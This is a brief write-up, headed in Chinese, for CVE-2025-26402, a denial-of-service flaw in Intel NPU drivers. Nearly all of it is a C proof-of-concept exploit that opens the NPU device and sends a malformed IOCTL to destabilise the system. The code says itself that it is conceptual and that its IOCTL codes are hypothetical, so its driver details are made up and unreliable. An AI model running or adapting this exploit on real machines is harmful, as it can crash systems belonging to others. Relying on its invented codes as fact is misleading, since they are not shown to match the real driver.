CVE-2025-26402: Intel NPU驱动Ring 3层保护机制失效导致拒绝服务

// CVE-2025-26402 PoC - Intel NPU Driver DoS // This PoC demonstrates the protection mechanism failure in Intel NPU Drivers // Note: This is a conceptual PoC based on the vulnerability description #include <windows.h> #include <stdio.h> // Intel NPU IOCTL codes (hypothetical) #define IOCTL_NPU_SUBMIT_TASK 0x9B401000 #define IOCTL_NPU_SET_STATE 0x9B401004 int main() { HANDLE hNPU; DWORD bytesReturned = 0; BYTE inputBuffer[256] = {0}; BYTE outputBuffer[256] = {0}; printf("CVE-2025-26402 PoC - Intel NPU Driver DoS\n"); printf("Target: Intel NPU Drivers Ring 3 Protection Bypass\n\n"); // Open Intel NPU driver device hNPU = CreateFile( "\\\\.\\IntelNPU", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hNPU == INVALID_HANDLE_VALUE) { printf("[-] Failed to open NPU driver (device may not exist)\n"); printf("[i] This vulnerability affects Intel NPU Driver versions prior to fix\n"); return 1; } printf("[+] NPU driver handle obtained\n"); // Trigger the vulnerability by sending malformed IOCTL request // The driver fails to properly validate Ring 3 access permissions BOOL result = DeviceIoControl( hNPU, IOCTL_NPU_SET_STATE, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (result) { printf("[+] IOCTL request sent - verify system stability\n"); } CloseHandle(hNPU); printf("[+] Test completed\n"); return 0; }